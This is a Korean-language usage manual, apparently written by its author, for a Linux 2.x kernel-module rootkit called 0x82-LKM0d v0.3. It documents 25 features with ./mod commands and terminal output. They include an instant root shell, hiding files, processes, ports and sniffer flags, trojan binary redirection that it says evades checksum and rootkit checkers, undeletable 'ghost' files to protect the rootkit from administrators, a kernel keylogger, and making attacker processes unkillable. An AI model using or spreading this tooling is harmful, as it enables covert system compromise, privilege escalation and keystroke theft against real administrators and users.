0x82-LKM0d v0.3 by x82 0x82-LKM0d은 커널 2.x 기반 rootkit 입니다. 개발 목적은 단순히 제가 편리하게 사용하기 위해서 입니다. 0.3 버전은 배포할 생각으로 개발하지 않았습니다. (정확히 말하자면, v0.3.0 버전입니다.) 그렇기 때문에 src가 지저분 할 수 있고, 다른 서버에서는 실용성(?)이 없는 구현 부분도 있을 것입니다. 커널 기반 rootkit의 단점은 사용자 기반의 프로그램처럼 동적(?)이지 못하다는 것입니다. 대부분 정적이며, 사용자의 입력을 요구하는 부분은 극히 적습니다. 이유는 여러가지가 있겠지만, 사용자의 입력 정보를 의존할 경우, 잘못된 처리에 의해 커널이 죽을 가능성이 높기 때문이라 볼 수도 있겠습니다. 커널이 죽으면, 시스템을 복구할 수 없게 됩니다. (해결책은 reboot을 하는 것입니다.) 0x82-LKM0d rootkit의 경우에는 커널에서 이루어지는 대부분의 행위를 사용자의 입력에 의존하여 결정합니다. 그러므로, *매우* 동적이라 할 수 있습니다. 구현한 방식은 매우 단순합니다만, 잠시 설명하도록 하겠습니다. 먼저, 사용자 프로그램이 존재하는데, 이 프로그램은 커널에 설치된 프로그램과 통신할 수 있도록 설계되었습니다. 사용자에게 특정 커맨드를 입력받으면, 그 입력을 역할에 맞게 처리하기 위해 특정 시스템콜에 커맨드 내용을 입력하고 커널은 들어온 입력을 받아 목적에 맞게 처리하게 됩니다. +--------------------------------------------+ | 사용자 프로그램 | Application level +--------------------------------------------+ +---|-|-|-----------|-|-|------------|-|-|---+ | V V V V V V V V V | | System Call | +----------|-|---------------|-|-------------+ Kernel level +----------|-|---------------|-|-------------+ | V V V V | | (FS), (MM), (Dev), (Task), (Net) | +--------------------|-|---------------------+ V V ... ... (Driver), (Mem), (CPU) ... ... Hardware level 이러한 구조 구현이 가능한 것은 마이크로 커널의 장점을 제공하는 리눅스 커널 덕분입니다. 물론 리눅스 커널은 모노리딕 커널입니다, 그러므로 구현된 코드가 적재되는 공간은 사용자 공간이 아닌, 커널 공간입니다. 어쨌든, 현재까지 개발된 기능을 하나씩 설명해보겠습니다. 개발되는 부분은 계속 추가하도록 하겠습니다. {0}: get root mode. 일반적으로 커널 기반 rootkit들이 가지고 있는 기능입니다. 예전 getuid() 함수를 후킹하여 얻는 root 권한과는 약간 다르다고 할 수 있습니다. 일회 사용 시, root 권한을 행사할 수 있으며, shell을 수행하고 싶은 경우에는 다음과 같이 실행하면 됩니다. ./mod [선택 번호] [실행할 명령 경로] -- [x82@test LKM]$ id uid=500(x82) gid=500(x82) groups=500(x82) [x82@test LKM]$ ./mod 0 /bin/sh ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, get root mode. executing, /bin/sh program. Ok, Have a nice day! sh-2.04# id uid=0(root) gid=0(root) groups=500(x82) sh-2.04# exit exit [x82@test LKM]$ ./mod 0 /usr/bin/id ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, get root mode. executing, /usr/bin/id program. Ok, Have a nice day! uid=0(root) gid=0(root) groups=500(x82) [x82@test LKM]$ -- {1}: hidden file & dir mode. 이 기능 역시, 많은 커널 기반 백도어들이 채택하고 있는 기본적인 기능입니다. linked list를 통해 사용자가 입력하는 프로그램을 받아 저장하는 구조를 가지고 있습니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [숨길 파일 및 디렉토리 이름] -- [root@test LKM]# ls mod* mod mod.c mod_kern.back mod_kern.c mod_kern.h mod_kern.o [root@test LKM]# ./mod 1 mod ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, hidden file & dir mode. hidding, mod file & dir. Ok, Have a nice day! [root@test LKM]# ls mod* mod.c mod_kern.back mod_kern.c mod_kern.h mod_kern.o [root@test LKM]# -- mod 라는 프로그램을 숨겨봤습니다. 뭐, 그럭저럭 잘 숨겨지는 군요. :-) {2}: unhidden file & dir mode. 이 기능은 1번 기능을 통해 숨긴 파일 및 디렉토리들을 정상적으로 볼 수 있도록 복구해주는 기능입니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [복구할 파일 및 디렉토리 이름] -- [root@test LKM]# ls mod* mod.c mod_kern.back mod_kern.c mod_kern.h mod_kern.o [root@test LKM]# ./mod 2 mod ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, unhidden file & dir mode. unhidding, mod file & dir. Ok, Have a nice day! [root@test LKM]# ls mod* mod mod.c mod_kern.back mod_kern.c mod_kern.h mod_kern.o [root@test LKM]# -- 숨겨졌던 프로그램을 해제하므로써, 예전과 같이 볼 수 있게 되었습니다. {3}: all unhidden file & dir mode. 1번 기능을 통해 선언되어 숨겨진 파일 및 디렉토리들을 모두 정상적으로 볼 수 있도록 복구하는 기능입니다. 사용법은 매우 간단합니다. ./mod [선택 번호] -- [root@test LKM]# ./mod 3 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, all unhidden file & dir mode. all unhidding file & dir. Ok, Have a nice day! [root@test LKM]# -- 이로써, 시스템에서 숨겼던 모든 파일 및 디렉토리를 볼 수 있게 됩니다. {4}: hidden process mode. 이 기능은 실행 중인 프로세스를 숨기는 역할을 합니다. 프로세스 상에서 이름을 입력해주면, 다음과 같이 사라지는 것을 확인할 수 있습니다. ./mod [선택 번호] [숨길 프로세스 이름] -- [root@test LKM]# ps PID TTY TIME CMD 1128 pts/1 00:00:00 login 1155 pts/1 00:00:00 su 1156 pts/1 00:00:01 bash 2323 pts/1 00:00:00 ps [root@test LKM]# ./mod 4 su ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, hidden process mode. hidding, su process. Ok, Have a nice day! [root@test LKM]# ps PID TTY TIME CMD 1128 pts/1 00:00:00 login 1156 pts/1 00:00:01 bash 2325 pts/1 00:00:00 ps [root@test LKM]# -- 실행 중인 su 프로세스를 숨겨본 결과, ps 명령으로 확인할 수 없게 되었습니다. {5}: unhidden process mode. 4번 기능을 통해 숨긴 프로세스를 볼 수 있도록 복구하는 기능입니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [복구할 프로세스 이름] -- [root@test LKM]# ps PID TTY TIME CMD 1128 pts/1 00:00:00 login 1156 pts/1 00:00:01 bash 2327 pts/1 00:00:00 ps [root@test LKM]# ./mod 5 su ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, unhidden process mode. unhidding, su process. Ok, Have a nice day! [root@test LKM]# ps PID TTY TIME CMD 1128 pts/1 00:00:00 login 1155 pts/1 00:00:00 su 1156 pts/1 00:00:01 bash 2329 pts/1 00:00:00 ps [root@test LKM]# -- 숨겨졌던 su 프로세스를 복구하여, ps 명령 상에서 볼 수 있게 되었습니다. {6}: all unhidden process mode. 4번 기능을 통해 숨긴 모든 프로세스를 볼 수 있도록 복구하는 기능입니다. 이 명령을 통해 숨겨졌던 모든 프로세스를 linked list 목록에서 삭제합니다. ./mod [선택 번호] -- [root@test LKM]# ./mod 6 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, all unhidden process mode. all unhidding process. Ok, Have a nice day! [root@test LKM]# -- {7}: data print mode. 현재 디버깅을 위해 사용하고 있는 기능입니다. 각 linked list 목록을 확인하는 명령으로써, system logfile 또는, dmesg 명령으로 결과를 확인할 수 있습니다. ./mod [선택 번호] -- [root@test LKM]# ./mod 7 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, data print mode. Ok, execute, dmesg command! [root@test LKM]# dmesg | tail -5 --- file list --- --- process list --- --- program link list --- --- inet link list --- --- ghost list --- [root@test LKM]# -- {8}: program (trojan) link mode. 바이너리를 수정하는 trojan의 경우, md5 checksum이나 rootkit checking tool에 의해 발견될 수 있습니다. 조금 더 깨끗한 프로그램 바꿔치기를 위해 개발된 기능입니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [바꿔칠 명령 경로] [바뀔 명령 경로] -- [root@test LKM]# ls Makefile mod mod_kern.back mod_kern.h p.c banrl.h mod.c mod_kern.c mod_kern.o r.c [root@test LKM]# ./mod 8 /bin/ls /bin/ps ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, program (trojan) link mode. link mode: /bin/ls--->/bin/ps. Ok, Have a nice day! [root@test LKM]# ls ps: error: Unknown gnu long option. usage: ps -[Unix98 options] ps [BSD-style options] ps --[GNU-style long options] ps --help for a command summary [root@test LKM]# -- 본래 ls 명령을 ps 명령으로 변경하였습니다. 이로써, kernel 단계에서 명령어를 바꿔치기 할 수 있으며, md5 checksum이나, rootkit checking tool에 안전할 수 있습니다. {9}: program (trojan) unlink mode. 8번 기능에 의해 변경된 프로그램을 복구하는 기능입니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [바꿔친 명령 경로] -- [root@test LKM]# ls ps: error: Unknown gnu long option. usage: ps -[Unix98 options] ps [BSD-style options] ps --[GNU-style long options] ps --help for a command summary [root@test LKM]# ./mod 9 /bin/ls ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, program (trojan) unlink mode. unlink mode: /bin/ls. Ok, Have a nice day! [root@test LKM]# ls Makefile mod mod_kern.back mod_kern.h p.c banrl.h mod.c mod_kern.c mod_kern.o r.c [root@test LKM]# -- 명령이 복구된 것을 볼 수 있습니다. {10}: program (trojan) all unlink mode. 8번 기능에 의해 변경된 모든 프로그램을 복구하는 기능입니다. 사용법은 다음과 같습니다. ./mod [선택 번호] -- [root@test LKM]# ./mod 10 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, program (trojan) all unlink mode. all unlink, program (trojan). Ok, Have a nice day! [root@test LKM]# -- {11}: sniff On/Off mode. 스니퍼가 작동되었을때 표시되는 무작위 모드(promiscuous mode) mark를 제거하는 기능입니다. ifconfig 명령 수행 시, PROMISC mark 표시를 통해 스니퍼의 수행 여부를 판단할 수 있는데, 이 mark를 제거합니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [모드 번호] 모드 번호 0번은 선택 번호 목록을 보여줍니다. 모드 번호 1번은 스니퍼 숨김 기능을 On으로 전환합니다. 모드 번호 2번은 스니퍼 숨김 기능을 Off 시킵니다. -- [root@test LKM]# ./mod 11 0 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, sniff On/Off mode. -- {0}: mode list. ex) ./mod 11 0 {1}: On mode. ex) ./mod 11 1 {2}: Off mode. ex) ./mod 11 2 -- [root@test LKM]# -- [root@test LKM]# ifconfig eth0 Link encap:Ethernet HWaddr 00:50:BF:65:55:5E inet addr:xxx.xxx.xxx.xxx Bcast:xxx.xxx.xxx.127 Mask:255.255.255.128 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:224866 errors:0 dropped:0 overruns:0 frame:0 TX packets:42354 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 Interrupt:5 Base address:0xe400 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:3924 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 [root@test LKM]# -- PROMISC mark가 표시된 것을 볼 수 있습니다. 다음 기능을 수행 후, mark가 지워진 것을 볼 수 있습니다. -- [root@test LKM]# ./mod 11 1 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, sniff On/Off mode. [!] Select, On mode. Ok, Have a nice day! [root@test LKM]# ifconfig eth0 Link encap:Ethernet HWaddr 00:50:BF:65:55:5E inet addr:xxx.xxx.xxx.xxx Bcast:xxx.xxx.xxx.127 Mask:255.255.255.128 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:224963 errors:0 dropped:0 overruns:0 frame:0 TX packets:42383 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 Interrupt:5 Base address:0xe400 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:3924 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 [root@test LKM]# -- PROMISC mark가 지워진 것을 볼 수 있습니다. 모드 번호 2번을 선택할 경우, PROMISC mark가 생기는 것을 볼 수 있습니다. -- [root@test LKM]# ./mod 11 2 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, sniff On/Off mode. [!] Select, Off mode. Ok, Have a nice day! [root@test LKM]# ifconfig eth0 Link encap:Ethernet HWaddr 00:50:BF:65:55:5E inet addr:xxx.xxx.xxx.xxx Bcast:xxx.xxx.xxx.127 Mask:255.255.255.128 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:225481 errors:0 dropped:0 overruns:0 frame:0 TX packets:42430 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 Interrupt:5 Base address:0xe400 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:3924 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 [root@test LKM]# -- 숨김 모드를 Off한 결과, PROMISC mark를 볼 수 있습니다. {12}: hidden inet port mode. 서버 상에서 서비스 중인 port를 숨기는 기능입니다. 현재 서비스 중인 port 뿐만아니라, port로 접속 중인 클라이언트의 정보도 모두 숨길 수 있습니다. ./mod [선택 번호] [숨길 포트 번호] -- [root@test LKM]# netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 138 xxx.xxx.xxx.xxx:23 yyy.yyy.yyy.yyy:2232 ESTABLISHED tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 0 [ ] STREAM CONNECTED 238 @0000001d unix 2 [ ] DGRAM 394 /dev/log unix 0 [ ] DGRAM 1397 unix 0 [ ] DGRAM 438 [root@test LKM]# -- 23번이 열렸고, 현재 클라이언트 yyy.yyy.yyy.yyy가 접속 중인 것을 볼 수 있습니다. 숨겨보겠습니다. -- [root@test LKM]# ./mod 12 23 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, hidden inet port mode. hidden inet port number: 23. Ok, Have a nice day! [root@test LKM]# netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 0 [ ] STREAM CONNECTED 238 @0000001d unix 2 [ ] DGRAM 394 /dev/log unix 0 [ ] DGRAM 1397 unix 0 [ ] DGRAM 438 [root@test LKM]# -- 서비스 중인 23번 port에 관한 정보가 모두 숨겨진 것을 볼 수 있습니다. {13}: unhidden inet port mode. 12번 기능을 통해 숨겼던 port를 복구합니다. 복구된 서비스 port는 다시 확인할 수 있게 됩니다. ./mod [선택 번호] [복구할 포트 번호] -- [root@test LKM]# netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 0 [ ] STREAM CONNECTED 238 @0000001d unix 2 [ ] DGRAM 394 /dev/log unix 0 [ ] DGRAM 1397 unix 0 [ ] DGRAM 438 [root@test LKM]# ./mod 13 23 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, unhidden inet port mode. unhidden inet port number: 23. Ok, Have a nice day! [root@test LKM]# netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 138 xxx.xxx.xxx.xxx:23 yyy.yyy.yyy.yyy:2232 ESTABLISHED tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN raw 0 0 0.0.0.0:1 0.0.0.0:* 7 raw 0 0 0.0.0.0:6 0.0.0.0:* 7 Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 0 [ ] STREAM CONNECTED 238 @0000001d unix 2 [ ] DGRAM 394 /dev/log unix 0 [ ] DGRAM 1397 unix 0 [ ] DGRAM 438 [root@test LKM]# -- 서비스 중인 23번 port를 확인할 수 있었습니다. {14}: all unhidden inet port mode. 12번 기능을 통해 숨겼던 모든 port를 복구합니다. 사용법은 다음과 같습니다. ./mod [선택 번호] -- [root@test LKM]# ./mod 14 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, all unhidden inet port mode. all, unhidden inet port. Ok, Have a nice day! [root@test LKM]# -- {15}: process *id show mode. 프로세스의 정보를 보여주는 기능입니다. 지정한 프로세스 번호를 통해, 프로세스 이름, uid, euid, suid, fsuid, gid, egid, sgid, fsgid등의 정보를 알 수 있습니다. ./mod [선택 번호] [프로세스(pid) 번호] -- [root@test LKM]# ps | grep 1156 1156 pts/1 00:00:01 bash [root@test LKM]# ./mod 15 1156 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, process *id show mode. process id(pid) number: 1156. process name: bash. process uid: 0. process euid: 0. process suid: 0. process fsuid: 0. process gid: 0. process egid: 0. process sgid: 0. process fsgid: 0. Ok, Have a nice day! [root@test LKM]# -- {16}: process uid alteration mode. 특정 프로세스의 uid를 변경하는 비교적 재미있는 기능입니다. 지정한 프로세스 번호를 통해 uid, euid, suid, fsuid등을 변경할 수 있게 설계되었습니다. 참고로, 15번 기능을 통해 프로세스의 id 정보를 확인할 수 있습니다. ./mod [선택 번호] [프로세스(pid) 번호] [변경할 uid 번호] -- [root@test LKM]# ps -aux | grep cat x82 2427 0.0 0.2 1284 312 pts/0 S 00:53 0:00 ./cat_shadow [root@test LKM]# ./mod 15 2427 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, process *id show mode. process id(pid) number: 2427. process name: cat_shadow. process uid: 500. process euid: 500. process suid: 500. process fsuid: 500. process gid: 500. process egid: 500. process sgid: 500. process fsgid: 500. Ok, Have a nice day! [root@test LKM]# ./mod 16 2427 0 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, process uid alteration mode. process id(pid) number: 2427. user id(uid) number: 0. Ok, Have a nice day! [root@test LKM]# ps -aux | grep cat root 2427 0.0 0.2 1284 312 pts/0 S 00:53 0:00 ./cat_shadow [root@test LKM]# ./mod 15 2427 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, process *id show mode. process id(pid) number: 2427. process name: cat_shadow. process uid: 0. process euid: 0. process suid: 0. process fsuid: 0. process gid: 500. process egid: 500. process sgid: 500. process fsgid: 500. Ok, Have a nice day! [root@test LKM]# -- x82(uid=500) 사용자로 실행 중인 프로세스를 root(uid=0)로 변경하는 것을 볼 수 있습니다. {17}: process gid alteration mode. 특정 프로세스의 gid를 변경하는 기능입니다. 지정한 프로세스 번호를 통해 gid, egid, sgid, fsgid등을 변경할 수 있게 설계되었습니다. 참고로, 15번 기능을 통해 프로세스의 id 정보를 확인할 수 있습니다. ./mod [선택 번호] [프로세스(pid) 번호] [변경할 gid 번호] -- [root@test LKM]# ./mod 15 2427 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, process *id show mode. process id(pid) number: 2427. process name: cat_shadow. process uid: 0. process euid: 0. process suid: 0. process fsuid: 0. process gid: 500. process egid: 500. process sgid: 500. process fsgid: 500. Ok, Have a nice day! [root@test LKM]# ./mod 17 2427 0 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, process gid alteration mode. process id(pid) number: 2427. group id(gid) number: 0. Ok, Have a nice day! [root@test LKM]# ./mod 15 2427 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, process *id show mode. process id(pid) number: 2427. process name: cat_shadow. process uid: 0. process euid: 0. process suid: 0. process fsuid: 0. process gid: 0. process egid: 0. process sgid: 0. process fsgid: 0. Ok, Have a nice day! [root@test LKM]# -- 프로세스 정보를 확인해본 결과, gid가 0으로 변경된 것을 볼 수 있습니다. {18}: add ghost file & dir mode. 이번 버전의 rootkit에서 새롭게 선보인 기능으로써, 일명 `고스트 파일 시스템'이라 부릅니다. ghost file을 보안적인 측면에서 보면, 시스템 파일보호 기능과 비슷하다고 할 수 있습니다. ghost file & dir로 추가하면, 추가된 파일은 삭제, 수정이 불가능해지며, 파일 정보등을 얻어볼 수 없게 됩니다. 이렇게 되면, 관리자가 숨겨진 파일을 발견한다 해도, 수정하거나 삭제할 수 없으므로 시스템에 설치된 rootkit를 보호할 수 있습니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [추가할 파일 이름] -- [root@test LKM]# ./mod 18 ps ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, add ghost file & dir mode. add, ps ghost file & dir. Ok, Have a nice day! [root@test LKM]# ls -al /bin/ps ?--------- 0 root root 0 Dec 31 1969 /bin/ps [root@test LKM]# rm -f /bin/ps rm: cannot remove `/bin/ps' [root@test LKM]# mv /bin/ps /tmp/ mv: cannot stat `/bin/ps' [root@test LKM]# cat /bin/ps cat: /bin/ps: Bad file descriptor cat: /bin/ps: Bad file descriptor [root@test LKM]# ps PID TTY TIME CMD 1128 pts/1 00:00:00 login 1155 pts/1 00:00:00 su 1156 pts/1 00:00:01 bash 2805 pts/1 00:00:00 ps [root@test LKM]# chmod 777 /bin/ps chmod: /bin/ps [root@test LKM]# chown nobody: /bin/ps chown: /bin/ps: Function not implemented [root@test LKM]# ls -al /bin/ps ?--------- 0 root root 0 Dec 31 1969 /bin/ps [root@test LKM]# -- 위와 같이 삭제, 수정이 불가능하며, 파일 열람 또한 불가능합니다. 이로써, 특정 파일을 보호할 수 있게 됩니다. {19}: del ghost file & dir mode. 18번 기능에 의해 작동 중인 ghost file mode를 해제합니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [해제할 파일 이름] -- [root@test LKM]# ./mod 19 ps ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, del ghost file & dir mode. del, ps ghost file & dir. Ok, Have a nice day! [root@test LKM]# ls -al /bin/ps -r-xr-xr-x 1 root root 65148 Aug 17 2000 /bin/ps [root@test LKM]# -- 본래의 ps 파일로 복구된 것을 볼 수 있습니다. {20}: all del ghost file & dir mode. 18번 기능에 의해 추가된 모든 파일 및 디렉토리를 linked list 목록에서 제거합니다. 사용법은 다음과 같습니다. ./mod [선택 번호] -- [root@test LKM]# ./mod 20 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, all del ghost file & dir mode. all del, ghost file & dir. Ok, Have a nice day! [root@test LKM]# -- {21}: On Key logging mode. 커널 기반의 키로그 기능입니다. 이 기능을 통해 지정한 파일로 사용자가 입력하는 내용들을 저장할 수 있습니다. ./mod [선택 번호] [저장 파일 경로] -- [root@test LKM]# ./mod 21 /tmp/key_log ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, On Key logging mode. Keylog file path: /tmp/key_log. Ok, Have a nice day! [root@test LKM]# cat /tmp/key_log [2003/01/19 21:33:06] [pts/0:0] cat /tmp/key_log [root@test LKM]# -- /tmp/key_log 파일에 실시간으로 내용이 저장되는 것을 볼 수 있습니다. {22}: Off Key logging mode. 21번 기능에 의해 활성화되어 있는 키로그 기능을 해제하는 기능입니다. 사용법은 다음과 같습니다. ./mod [선택 번호] -- [root@test LKM]# ./mod 22 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, Off Key logging mode. Keylogging, Off. Ok, Have a nice day! [root@test LKM]# -- {23}: add process protaction mode. 공격자의 프로세스는 관리자에 의해 발각될 확률이 있습니다. 이렇게 발각된 프로세스를 관리자가 함부로 kill 할 수 없도록 process protaction mode 기능을 지원합니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [프로세스(pid) 번호] -- [root@test LKM]# ps PID TTY TIME CMD 3692 pts/0 00:00:00 login 3720 pts/0 00:00:00 su 3721 pts/0 00:00:00 bash 3916 pts/0 00:00:00 ps [root@test LKM]# ./mod 23 3720 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, add process protaction mode. add pid: 3720. Ok, Have a nice day! [root@test LKM]# kill -9 3720 [root@test LKM]# ps | grep 3720 3720 pts/0 00:00:00 su [root@test LKM]# -- 특정 프로세스를 지정한 후, kill을 수행한 결과, 프로세스가 죽지 않는 것을 확인할 수 있습니다. {24}: del process protaction mode. 23번 기능에 의해 보호모드가 적용 중인 프로세스를 해제합니다. 사용법은 다음과 같습니다. ./mod [선택 번호] [프로세스(pid) 번호] -- [root@test LKM]# ./mod 24 3720 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, del process protaction mode. del pid: 3720. Ok, Have a nice day! [root@test LKM]# kill -9 3720 [test@test LKM]$ -- 보호 중인 프로세스를 해제한 결과, 죽은 것을 확인할 수 있습니다. {25}: del all process protaction mode. 23번 기능에 의해 보호모드가 적용 중인 모든 프로세스를 해제합니다. 사용법은 다음과 같습니다. ./mod [선택 번호] -- [root@test LKM]# ./mod 25 ======================================================================= Test LKM (Loadable Kernel Module) Backdooring Tester: dong-hun you ======================================================================= [!] Select, del all process protaction mode. del, all pid. Ok, Have a nice day! [root@test LKM]# -- 이로써, 보호 중인 모든 프로세스가 해제되었습니다. -- ... 이후로 기능 계속 추가 중 ... -- 지금까지, v0.3.0 버전에서 구현된 모든 기능을 설명드렸습니다. 앞으로도 추가될 기능이 여러가지 있으며, 해결이 가장 시급한 사항은 sys_call_table 변수 변경을 허용하지 않는 RedHat 9.0 이상의 버전에서 사용할 수 있도록 설계하는 것입니다. 감사합니다.